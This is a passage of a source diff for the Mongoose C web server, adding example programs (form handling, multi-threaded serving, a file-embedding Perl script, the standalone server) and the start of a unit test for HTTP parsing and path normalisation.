+    result = MG_MORE;
+
+  } else if (ev == MG_POLL) {
+
+    time_t now = time(NULL);
+    state = (struct conn_state *) conn->connection_param;
+
+    if (state != NULL && now > state->last_poll) {
+      if (file_names[state->file_index] != NULL) {
+        send_file(conn, file_names[state->file_index]);
+        state->file_index++;
+        if (file_names[state->file_index] == NULL) {
+          result = MG_TRUE;  // No more images, close connection
+        }
+      }
+      state->last_poll = now;
+    }
+
+  } else if (ev == MG_CLOSE) {
+    free(conn->connection_param);
+    conn->connection_param = NULL;
+  } else if (ev == MG_AUTH) {
+    result = MG_TRUE;
+  }
+
+  return result;
+}
+
+int main(int argc, char *argv[]) {
+  struct mg_server *server;
+
+  if (argc < 3) {
+    printf("Usage: %s image1.jpg image2.jpg ...\n", argv[0]);
+    return 1;
+  }
+
+  server = mg_create_server(&argv[1], ev_handler);
+  mg_set_option(server, "listening_port", "8080");
+
+  printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
+  for (;;) {
+    mg_poll_server(server, 1000);
+  }
+  mg_destroy_server(&server);
+
+  return 0;
+}

examples/mkdata.pl

@@ -0,0 +1,53 @@
+# This program is used to embed arbitrary data into a C binary. It takes
+# a list of files as an input, and produces a .c data file that contains
+# contents of all these files as collection of char arrays.
+#
+# Usage: perl <this_file> <file1> [file2, ...] > embedded_data.c
+
+foreach my $i (0 .. $#ARGV) {
+  open FD, '<:raw', $ARGV[$i] or die "Cannot open $ARGV[$i]: $!\n";
+  printf("static const unsigned char v%d[] = {", $i);
+  my $byte;
+  my $j = 0;
+  while (read(FD, $byte, 1)) {
+    if (($j % 12) == 0) {
+      print "\n";
+    }
+    printf ' %#04x,', ord($byte);
+    $j++;
+  }
+  print " 0x00\n};\n";
+  close FD;
+}
+
+print <<EOS;
+
+#include <stddef.h>
+#include <string.h>
+
+static const struct embedded_file {
+  const char *name;
+  const unsigned char *data;
+  size_t size;
+} embedded_files[] = {
+EOS
+
+foreach my $i (0 .. $#ARGV) {
+  print "  {\"$ARGV[$i]\", v$i, sizeof(v$i) - 1},\n";
+}
+
+print <<EOS;
+  {NULL, NULL, 0}
+};
+
+const char *find_embedded_file(const char *name, size_t *size) {
+  const struct embedded_file *p;
+  for (p = embedded_files; p->name != NULL; p++) {
+    if (!strcmp(p->name, name)) {
+      if (size != NULL) { *size = p->size; }
+      return (const char *) p->data;
+    }
+  }
+  return NULL;
+}
+EOS

examples/multi_threaded.c

@@ -0,0 +1,40 @@
+#include "mongoose.h"
+
+// Start a browser and hit refresh couple of times. The replies will
+// come from both server instances.
+static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
+  if (ev == MG_REQUEST) {
+    mg_send_header(conn, "Content-Type", "text/plain");
+    mg_printf_data(conn, "This is a reply from server instance # %s",
+                   (char *) conn->server_param);
+    return MG_TRUE;
+  } else if (ev == MG_AUTH) {
+    return MG_TRUE;
+  } else {
+    return MG_FALSE;
+  }
+}
+
+static void *serve(void *server) {
+  for (;;) mg_poll_server((struct mg_server *) server, 1000);
+  return NULL;
+}
+
+int main(void) {
+  struct mg_server *server1, *server2;
+
+  server1 = mg_create_server((void *) "1", ev_handler);
+  server2 = mg_create_server((void *) "2", ev_handler);
+
+  // Make both server1 and server2 listen on the same socket
+  mg_set_option(server1, "listening_port", "8080");
+  mg_set_listening_socket(server2, mg_get_listening_socket(server1));
+
+  // server1 goes to separate thread, server 2 runs in main thread.
+  // IMPORTANT: NEVER LET DIFFERENT THREADS HANDLE THE SAME SERVER.
+  mg_start_thread(serve, server1);
+  mg_start_thread(serve, server2);
+  getchar();
+
+  return 0;
+}

examples/post.c

@@ -10,47 +10,53 @@ static const char *html_form =
   "<input type=\"submit\" />"
   "</form></body></html>";
 
-static int begin_request_handler(struct mg_connection *conn) {
+static void send_reply(struct mg_connection *conn) {
-  const struct mg_request_info *ri = mg_get_request_info(conn);
+  char var1[500], var2[500];
-  char post_data[1024], input1[sizeof(post_data)], input2[sizeof(post_data)];
-  int post_data_len;
 
-  if (!strcmp(ri->uri, "/handle_post_request")) {
+  if (strcmp(conn->uri, "/handle_post_request") == 0) {
     // User has submitted a form, show submitted data and a variable value
-    post_data_len = mg_read(conn, post_data, sizeof(post_data));
+    // Parse form data. var1 and var2 are guaranteed to be NUL-terminated
-
+    mg_get_var(conn, "input_1", var1, sizeof(var1));
-    // Parse form data. input1 and input2 are guaranteed to be NUL-terminated
+    mg_get_var(conn, "input_2", var2, sizeof(var2));
-    mg_get_var(post_data, post_data_len, "input_1", input1, sizeof(input1));
-    mg_get_var(post_data, post_data_len, "input_2", input2, sizeof(input2));
 
     // Send reply to the client, showing submitted form values.
-    mg_printf(conn, "HTTP/1.0 200 OK\r\n"
+    // POST data is in conn->content, data length is in conn->content_len
-              "Content-Type: text/plain\r\n\r\n"
+    mg_send_header(conn, "Content-Type", "text/plain");
-              "Submitted data: [%.*s]\n"
+    mg_printf_data(conn,
-              "Submitted data length: %d bytes\n"
+                   "Submitted data: [%.*s]\n"
-              "input_1: [%s]\n"
+                   "Submitted data length: %d bytes\n"
-              "input_2: [%s]\n",
+                   "input_1: [%s]\n"
-              post_data_len, post_data, post_data_len, input1, input2);
+                   "input_2: [%s]\n",
+                   conn->content_len, conn->content,
+                   conn->content_len, var1, var2);
   } else {
     // Show HTML form.
-    mg_printf(conn, "HTTP/1.0 200 OK\r\n"
+    mg_send_data(conn, html_form, strlen(html_form));
-              "Content-Length: %d\r\n"
+  }
-              "Content-Type: text/html\r\n\r\n%s",
+}
-              (int) strlen(html_form), html_form);
+
+static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
+  if (ev == MG_REQUEST) {
+    send_reply(conn);
+    return MG_TRUE;
+  } else if (ev == MG_AUTH) {
+    return MG_TRUE;
+  } else {
+    return MG_FALSE;
   }
-  return 1;  // Mark request as processed
 }
 
 int main(void) {
-  struct mg_context *ctx;
+  struct mg_server *server = mg_create_server(NULL, ev_handler);
-  const char *options[] = {"listening_ports", "8080", NULL};
-  struct mg_callbacks callbacks;
 
-  memset(&callbacks, 0, sizeof(callbacks));
+  mg_set_option(server, "listening_port", "8080");
-  callbacks.begin_request = begin_request_handler;
+
-  ctx = mg_start(&callbacks, NULL, options);
+  printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
-  getchar();  // Wait until user hits "enter"
+  for (;;) {
-  mg_stop(ctx);
+    mg_poll_server(server, 1000);
+  }
+
+  mg_destroy_server(&server);
 
   return 0;
 }

examples/server.c

@@ -0,0 +1,484 @@
+// Copyright (c) 2004-2013 Sergey Lyubka
+// Copyright (c) 2013-2014 Cesanta Software Limited
+//
+// Permission is hereby granted, free of charge, to any person obtaining a copy
+// of this software and associated documentation files (the "Software"), to deal
+// in the Software without restriction, including without limitation the rights
+// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+// copies of the Software, and to permit persons to whom the Software is
+// furnished to do so, subject to the following conditions:
+//
+// The above copyright notice and this permission notice shall be included in
+// all copies or substantial portions of the Software.
+//
+// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+// THE SOFTWARE.
+
+#undef UNICODE                    // Use ANSI WinAPI functions
+#undef _UNICODE                   // Use multibyte encoding on Windows
+#define _MBCS                     // Use multibyte encoding on Windows
+#define _WIN32_WINNT 0x500        // Enable MIIM_BITMAP
+#define _CRT_SECURE_NO_WARNINGS   // Disable deprecation warning in VS2005
+#define _XOPEN_SOURCE 600         // For PATH_MAX on linux
+#undef WIN32_LEAN_AND_MEAN        // Let windows.h always include winsock2.h
+
+#include <sys/stat.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <signal.h>
+#include <string.h>
+#include <errno.h>
+#include <limits.h>
+#include <stddef.h>
+#include <stdarg.h>
+#include <ctype.h>
+#include <time.h>
+
+#include "mongoose.h"
+
+#ifdef _WIN32
+#include <windows.h>
+#include <direct.h>  // For chdir()
+#include <winsvc.h>
+#include <shlobj.h>
+
+#ifndef PATH_MAX
+#define PATH_MAX MAX_PATH
+#endif
+
+#ifndef S_ISDIR
+#define S_ISDIR(x) ((x) & _S_IFDIR)
+#endif
+
+#define DIRSEP '\\'
+#define snprintf _snprintf
+#define vsnprintf _vsnprintf
+#define sleep(x) Sleep((x) * 1000)
+#define abs_path(rel, abs, abs_size) _fullpath((abs), (rel), (abs_size))
+#define SIGCHLD 0
+typedef struct _stat file_stat_t;
+#define stat(x, y) _stat((x), (y))
+#else
+typedef struct stat file_stat_t;
+#include <sys/wait.h>
+#include <unistd.h>
+#define DIRSEP '/'
+#define __cdecl
+#define abs_path(rel, abs, abs_size) realpath((rel), (abs))
+#endif // _WIN32
+
+#define MAX_OPTIONS 100
+#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
+
+static int exit_flag;
+static char server_name[50];        // Set by init_server_name()
+static char config_file[PATH_MAX];  // Set by process_command_line_arguments()
+static struct mg_server *server;    // Set by start_mongoose()
+static const char *s_default_document_root = ".";
+static const char *s_default_listening_port = "8080";
+
+#if !defined(CONFIG_FILE)
+#define CONFIG_FILE "mongoose.conf"
+#endif /* !CONFIG_FILE */
+
+static void __cdecl signal_handler(int sig_num) {
+  // Reinstantiate signal handler
+  signal(sig_num, signal_handler);
+
+#ifndef _WIN32
+  // Do not do the trick with ignoring SIGCHLD, cause not all OSes (e.g. QNX)
+  // reap zombies if SIGCHLD is ignored. On QNX, for example, waitpid()
+  // fails if SIGCHLD is ignored, making system() non-functional.
+  if (sig_num == SIGCHLD) {
+    do {} while (waitpid(-1, &sig_num, WNOHANG) > 0);
+  } else
+#endif
+  { exit_flag = sig_num; }
+}
+
+static void vnotify(const char *fmt, va_list ap, int must_exit) {
+  char msg[200];
+
+  vsnprintf(msg, sizeof(msg), fmt, ap);
+  fprintf(stderr, "%s\n", msg);
+
+  if (must_exit) {
+    exit(EXIT_FAILURE);
+  }
+}
+
+static void notify(const char *fmt, ...) {
+  va_list ap;
+  va_start(ap, fmt);
+  vnotify(fmt, ap, 0);
+  va_end(ap);
+}
+
+static void die(const char *fmt, ...) {
+  va_list ap;
+  va_start(ap, fmt);
+  vnotify(fmt, ap, 1);
+  va_end(ap);
+}
+
+static void show_usage_and_exit(void) {
+  const char **names;
+  int i;
+
+  fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built on %s\n",
+          MONGOOSE_VERSION, __DATE__);
+  fprintf(stderr, "Usage:\n");
+#ifndef MONGOOSE_NO_AUTH
+  fprintf(stderr, "  mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
+#endif
+  fprintf(stderr, "  mongoose [config_file]\n");
+  fprintf(stderr, "  mongoose [-option value ...]\n");
+  fprintf(stderr, "\nOPTIONS:\n");
+
+  names = mg_get_valid_option_names();
+  for (i = 0; names[i] != NULL; i += 2) {
+    fprintf(stderr, "  -%s %s\n",
+            names[i], names[i + 1] == NULL ? "<empty>" : names[i + 1]);
+  }
+  exit(EXIT_FAILURE);
+}
+
+#define EV_HANDLER NULL
+
+static char *sdup(const char *str) {
+  char *p;
+  if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
+    strcpy(p, str);
+  }
+  return p;
+}
+
+static void set_option(char **options, const char *name, const char *value) {
+  int i;
+
+  for (i = 0; i < MAX_OPTIONS - 3; i++) {
+    if (options[i] == NULL) {
+      options[i] = sdup(name);
+      options[i + 1] = sdup(value);
+      options[i + 2] = NULL;
+      break;
+    } else if (!strcmp(options[i], name)) {
+      free(options[i + 1]);
+      options[i + 1] = sdup(value);
+      break;
+    }
+  }
+
+  if (i == MAX_OPTIONS - 3) {
+    die("%s", "Too many options specified");
+  }
+}
+
+static void process_command_line_arguments(char *argv[], char **options) {
+  char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
+  FILE *fp = NULL;
+  size_t i, cmd_line_opts_start = 1, line_no = 0;
+
+  // Should we use a config file ?
+  if (argv[1] != NULL && argv[1][0] != '-') {
+    snprintf(config_file, sizeof(config_file), "%s", argv[1]);
+    cmd_line_opts_start = 2;
+  } else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
+    // No command line flags specified. Look where binary lives
+    snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
+  } else {
+    snprintf(config_file, sizeof(config_file), "%.*s%c%s",
+             (int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
+  }
+
+  fp = fopen(config_file, "r");
+
+  // If config file was set in command line and open failed, die
+  if (cmd_line_opts_start == 2 && fp == NULL) {
+    die("Cannot open config file %s: %s", config_file, strerror(errno));
+  }
+
+  // Load config file settings first
+  if (fp != NULL) {
+    fprintf(stderr, "Loading config file %s\n", config_file);
+
+    // Loop over the lines in config file
+    while (fgets(line, sizeof(line), fp) != NULL) {
+      line_no++;
+
+      // Ignore empty lines and comments
+      for (i = 0; isspace(* (unsigned char *) &line[i]); ) i++;
+      if (line[i] == '#' || line[i] == '\0') {
+        continue;
+      }
+
+      if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
+        printf("%s: line %d is invalid, ignoring it:\n %s",
+               config_file, (int) line_no, line);
+      } else {
+        set_option(options, opt, val);
+      }
+    }
+
+    fclose(fp);
+  }
+
+  // If we're under MacOS and started by launchd, then the second
+  // argument is process serial number, -psn_.....
+  // In this case, don't process arguments at all.
+  if (argv[1] == NULL || memcmp(argv[1], "-psn_", 5) != 0) {
+    // Handle command line flags.
+    // They override config file and default settings.
+    for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
+      if (argv[i][0] != '-' || argv[i + 1] == NULL) {
+        show_usage_and_exit();
+      }
+      set_option(options, &argv[i][1], argv[i + 1]);
+    }
+  }
+}
+
+static void init_server_name(void) {
+  const char *descr = "";
+  snprintf(server_name, sizeof(server_name), "Mongoose web server v.%s%s",
+           MONGOOSE_VERSION, descr);
+}
+
+static int is_path_absolute(const char *path) {
+#ifdef _WIN32
+  return path != NULL &&
+    ((path[0] == '\\' && path[1] == '\\') ||  // UNC path, e.g. \\server\dir
+     (isalpha(path[0]) && path[1] == ':' && path[2] == '\\'));  // E.g. X:\dir
+#else
+  return path != NULL && path[0] == '/';
+#endif
+}
+
+static char *get_option(char **options, const char *option_name) {
+  int i;
+
+  for (i = 0; options[i] != NULL; i++)
+    if (!strcmp(options[i], option_name))
+      return options[i + 1];
+
+  return NULL;
+}
+
+static int path_exists(const char *path, int is_dir) {
+  file_stat_t st;
+  return path == NULL || (stat(path, &st) == 0 &&
+                          ((S_ISDIR(st.st_mode) ? 1 : 0) == is_dir));
+}
+
+static void verify_existence(char **options, const char *name, int is_dir) {
+  const char *path = get_option(options, name);
+  if (!path_exists(path, is_dir)) {
+    notify("Invalid path for %s: [%s]: (%s). Make sure that path is either "
+           "absolute, or it is relative to mongoose executable.",
+           name, path, strerror(errno));
+  }
+}
+
+static void set_absolute_path(char *options[], const char *option_name,
+                              const char *path_to_mongoose_exe) {
+  char path[PATH_MAX], abs[PATH_MAX], *option_value;
+  const char *p;
+
+  // Check whether option is already set
+  option_value = get_option(options, option_name);
+
+  // If option is already set and it is an absolute path,
+  // leave it as it is -- it's already absolute.
+  if (option_value != NULL && !is_path_absolute(option_value)) {
+    // Not absolute. Use the directory where mongoose executable lives
+    // be the relative directory for everything.
+    // Extract mongoose executable directory into path.
+    if ((p = strrchr(path_to_mongoose_exe, DIRSEP)) == NULL) {
+      getcwd(path, sizeof(path));
+    } else {
+      snprintf(path, sizeof(path), "%.*s", (int) (p - path_to_mongoose_exe),
+               path_to_mongoose_exe);
+    }
+
+    strncat(path, "/", sizeof(path) - 1);
+    strncat(path, option_value, sizeof(path) - 1);
+
+    // Absolutize the path, and set the option
+    abs_path(path, abs, sizeof(abs));
+    set_option(options, option_name, abs);
+  }
+}
+
+#ifndef MONGOOSE_NO_AUTH
+int modify_passwords_file(const char *fname, const char *domain,
+                          const char *user, const char *pass) {
+  int found;
+  char line[512], u[512], d[512], ha1[33], tmp[PATH_MAX];
+  FILE *fp, *fp2;
+
+  found = 0;
+  fp = fp2 = NULL;
+
+  // Regard empty password as no password - remove user record.
+  if (pass != NULL && pass[0] == '\0') {
+    pass = NULL;
+  }
+
+  (void) snprintf(tmp, sizeof(tmp), "%s.tmp", fname);
+
+  // Create the file if does not exist
+  if ((fp = fopen(fname, "a+")) != NULL) {
+    fclose(fp);
+  }
+
+  // Open the given file and temporary file
+  if ((fp = fopen(fname, "r")) == NULL) {
+    return 0;
+  } else if ((fp2 = fopen(tmp, "w+")) == NULL) {
+    fclose(fp);
+    return 0;
+  }
+
+  // Copy the stuff to temporary file
+  while (fgets(line, sizeof(line), fp) != NULL) {
+    if (sscanf(line, "%[^:]:%[^:]:%*s", u, d) != 2) {
+      continue;
+    }
+
+    if (!strcmp(u, user) && !strcmp(d, domain)) {
+      found++;
+      if (pass != NULL) {
+        mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+        fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+      }
+    } else {
+      fprintf(fp2, "%s", line);
+    }
+  }
+
+  // If new user, just add it
+  if (!found && pass != NULL) {
+    mg_md5(ha1, user, ":", domain, ":", pass, NULL);
+    fprintf(fp2, "%s:%s:%s\n", user, domain, ha1);
+  }
+
+  // Close files
+  fclose(fp);
+  fclose(fp2);
+
+  // Put the temp file in place of real file
+  remove(fname);
+  rename(tmp, fname);
+
+  return 1;
+}
+#endif
+
+static void start_mongoose(int argc, char *argv[]) {
+  char *options[MAX_OPTIONS];
+  int i;
+
+  if ((server = mg_create_server(NULL, EV_HANDLER)) == NULL) {
+    die("%s", "Failed to start Mongoose.");
+  }
+
+#ifndef MONGOOSE_NO_AUTH
+  // Edit passwords file if -A option is specified
+  if (argc > 1 && !strcmp(argv[1], "-A")) {
+    if (argc != 6) {
+      show_usage_and_exit();
+    }
+    exit(modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
+         EXIT_SUCCESS : EXIT_FAILURE);
+  }
+#endif
+
+  // Show usage if -h or --help options are specified
+  if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
+    show_usage_and_exit();
+  }
+
+  options[0] = NULL;
+  set_option(options, "document_root", s_default_document_root);
+  set_option(options, "listening_port", s_default_listening_port);
+
+  // Update config based on command line arguments
+  process_command_line_arguments(argv, options);
+
+  // Make sure we have absolute paths for files and directories
+  // https://github.com/valenok/mongoose/issues/181
+  set_absolute_path(options, "document_root", argv[0]);
+  set_absolute_path(options, "dav_auth_file", argv[0]);
+  set_absolute_path(options, "cgi_interpreter", argv[0]);
+  set_absolute_path(options, "access_log_file", argv[0]);
+  set_absolute_path(options, "global_auth_file", argv[0]);
+  set_absolute_path(options, "ssl_certificate", argv[0]);
+
+  if (!path_exists(get_option(options, "document_root"), 1)) {
+    set_option(options, "document_root", s_default_document_root);
+    set_absolute_path(options, "document_root", argv[0]);
+    notify("Setting document_root to [%s]",
+           mg_get_option(server, "document_root"));
+  }
+
+  // Make extra verification for certain options
+  verify_existence(options, "document_root", 1);
+  verify_existence(options, "cgi_interpreter", 0);
+  verify_existence(options, "ssl_certificate", 0);
+
+  for (i = 0; options[i] != NULL; i += 2) {
+    const char *msg = mg_set_option(server, options[i], options[i + 1]);
+    if (msg != NULL) {
+      notify("Failed to set option [%s] to [%s]: %s",
+             options[i], options[i + 1], msg);
+      if (!strcmp(options[i], "listening_port")) {
+        mg_set_option(server, "listening_port", s_default_listening_port);
+        notify("Setting %s to [%s]", options[i], s_default_listening_port);
+      }
+    }
+    free(options[i]);
+    free(options[i + 1]);
+  }
+
+  // Change current working directory to document root. This way,
+  // scripts can use relative paths.
+  chdir(mg_get_option(server, "document_root"));
+
+  // Add an ability to pass listening socket to mongoose
+  {
+    const char *env = getenv("MONGOOSE_LISTENING_SOCKET");
+    if (env != NULL && atoi(env) > 0 ) {
+      mg_set_listening_socket(server, atoi(env));
+    }
+  }
+
+  // Setup signal handler: quit on Ctrl-C
+  signal(SIGTERM, signal_handler);
+  signal(SIGINT, signal_handler);
+#ifndef _WIN32
+  signal(SIGCHLD, signal_handler);
+#endif
+}
+
+int main(int argc, char *argv[]) {
+  init_server_name();
+  start_mongoose(argc, argv);
+  printf("%s serving [%s] on port %s\n",
+         server_name, mg_get_option(server, "document_root"),
+         mg_get_option(server, "listening_port"));
+  fflush(stdout);  // Needed, Windows terminals might not be line-buffered
+  while (exit_flag == 0) {
+    mg_poll_server(server, 1000);
+  }
+  printf("Exiting on signal %d ...", exit_flag);
+  fflush(stdout);
+  mg_destroy_server(&server);
+  printf("%s\n", " done.");
+
+  return EXIT_SUCCESS;
+}

examples/unit_test.c

@@ -0,0 +1,516 @@
+// Unit test for the mongoose web server.
+// g++ -W -Wall -pedantic -g unit_test.c -lssl && ./a.out
+// cl unit_test.c /MD
+
+#ifndef _WIN32
+#define NS_ENABLE_IPV6
+#define NS_ENABLE_SSL
+#endif
+#define MONGOOSE_POST_SIZE_LIMIT 999
+
+// USE_* definitions must be made before #include "mongoose.c" !
+#include "../mongoose.c"
+
+#define FAIL(str, line) do {                    \
+  printf("Fail on line %d: [%s]\n", line, str); \
+  return str;                                   \
+} while (0)
+
+#define ASSERT(expr) do {             \
+  static_num_tests++;               \
+  if (!(expr)) FAIL(#expr, __LINE__); \
+} while (0)
+
+#define RUN_TEST(test) do { const char *msg = test(); \
+  if (msg) return msg; } while (0)
+
+#define HTTP_PORT "45772"
+#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
+
+static int static_num_tests = 0;
+
+#if 0
+// Connects to host:port, and sends formatted request to it. Returns
+// malloc-ed reply and reply length, or NULL on error. Reply contains
+// everything including headers, not just the message body.
+static char *wget(const char *host, int port, int *len, const char *fmt, ...) {
+  char buf[2000], *reply = NULL;
+  int request_len, reply_size = 0, n, sock = -1;
+  struct sockaddr_in sin;
+  struct hostent *he = NULL;
+  va_list ap;
+
+  if (host != NULL &&
+      (he = gethostbyname(host)) != NULL &&
+      (sock = socket(PF_INET, SOCK_STREAM, 0)) != -1) {
+    sin.sin_family = AF_INET;
+    sin.sin_port = htons((uint16_t) port);
+    sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
+    if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) == 0) {
+
+      // Format and send the request.
+      va_start(ap, fmt);
+      request_len = vsnprintf(buf, sizeof(buf), fmt, ap);
+      va_end(ap);
+      while (request_len > 0 && (n = send(sock, buf, request_len, 0)) > 0) {
+        request_len -= n;
+      }
+      if (request_len == 0) {
+        *len = 0;
+        while ((n = recv(sock, buf, sizeof(buf), 0)) > 0) {
+          if (*len + n > reply_size) {
+            // Leak possible
+            reply = (char *) realloc(reply, reply_size + sizeof(buf));
+            reply_size += sizeof(buf);
+          }
+          if (reply != NULL) {
+            memcpy(reply + *len, buf, n);
+            *len += n;
+          }
+        }
+      }
+      closesocket(sock);
+    }
+  }
+
+  return reply;
+}
+#endif
+
+static char *read_file(const char *path, int *size) {
+  FILE *fp;
+  struct stat st;
+  char *data = NULL;
+  if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
+    *size = (int) st.st_size;
+    data = (char *) malloc(*size);
+    fread(data, 1, *size, fp);
+    fclose(fp);
+  }
+  return data;
+}
+
+static const char *test_parse_http_message() {
+  struct mg_connection ri;
+  char req1[] = "GET / HTTP/1.1\r\n\r\n";
+  char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
+  char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
+  char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
+  char req5[] = "GET / HTTP/1.1\r\n\r\n";
+  char req6[] = "G";
+  char req7[] = " blah ";
+  char req8[] = " HTTP/1.1 200 OK \n\n";
+  char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
+
+  ASSERT(get_request_len("\r\n", 3) == -1);
+  ASSERT(get_request_len("\r\n", 2) == 0);
+  ASSERT(get_request_len("GET", 3) == 0);
+  ASSERT(get_request_len("\n\n", 2) == 2);
+  ASSERT(get_request_len("\n\r\n", 3) == 3);
+  ASSERT(get_request_len("\xdd\xdd", 2) == 0);
+  ASSERT(get_request_len("\xdd\x03", 2) == -1);
+  ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
+  ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
+  ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
+
+  ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
+  ASSERT(ri.num_headers == 1);
+
+  ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
+  ASSERT(strcmp(ri.http_version, "1.1") == 0);
+  ASSERT(ri.num_headers == 0);
+
+  ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
+  ASSERT(parse_http_message(req6, 0, &ri) == -1);
+  ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
+
+  // TODO(lsm): Fix this. Header value may span multiple lines.
+  ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
+  ASSERT(strcmp(ri.http_version, "1.1") == 0);
+  ASSERT(ri.num_headers == 3);
+  ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
+  ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
+  ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
+  ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
+  ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
+  ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
+
+  ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
+  ASSERT(strcmp(ri.request_method, "GET") == 0);
+  ASSERT(strcmp(ri.http_version, "1.1") == 0);
+
+  return NULL;
+}
+
+static const char *test_should_keep_alive(void) {
+  struct mg_connection conn;
+  char req1[] = "GET / HTTP/1.1\r\n\r\n";
+  char req2[] = "GET / HTTP/1.0\r\n\r\n";
+  char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
+  char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
+
+  memset(&conn, 0, sizeof(conn));
+  ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
+  ASSERT(should_keep_alive(&conn) != 0);
+
+  parse_http_message(req2, sizeof(req2) - 1, &conn);
+  ASSERT(should_keep_alive(&conn) == 0);
+
+  parse_http_message(req3, sizeof(req3) - 1, &conn);
+  ASSERT(should_keep_alive(&conn) == 0);
+
+  parse_http_message(req4, sizeof(req4) - 1, &conn);
+  ASSERT(should_keep_alive(&conn) != 0);
+
+  return NULL;
+}
+
+static const char *test_match_prefix(void) {
+  ASSERT(match_prefix("/api", 4, "/api") == 4);
+  ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
+  ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
+  ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
+  ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
+  ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
+  ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
+  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
+  ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
+  ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
+  ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
+  ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
+  ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
+  ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
+  ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
+  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
+  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
+  ASSERT(match_prefix("$", 1, "") == 0);
+  ASSERT(match_prefix("$", 1, "x") == -1);
+  ASSERT(match_prefix("*$", 2, "x") == 1);
+  ASSERT(match_prefix("/$", 2, "/") == 1);
+  ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
+  ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
+  ASSERT(match_prefix("*", 1, "/hello/") == 0);
+  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
+  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
+  ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
+  ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
+  return NULL;
+}
+
+static const char *test_remove_double_dots() {
+  struct { char before[20], after[20]; } data[] = {
+    {"////a", "/a"},
+    {"/.....", "/."},
+    {"/......", "/"},
+    {"...", "..."},
+    {"/...///", "/./"},
+    {"/a...///", "/a.../"},
+    {"/.x", "/.x"},
+    {"/\\", "/"},
+    {"/a\\", "/a\\"},
+    {"/a\\\\...", "/a\\."},
+  };
+  size_t i;
+
+  for (i = 0; i < ARRAY_SIZE(data); i++) {
+    remove_double_dots_and_double_slashes(data[i].before);
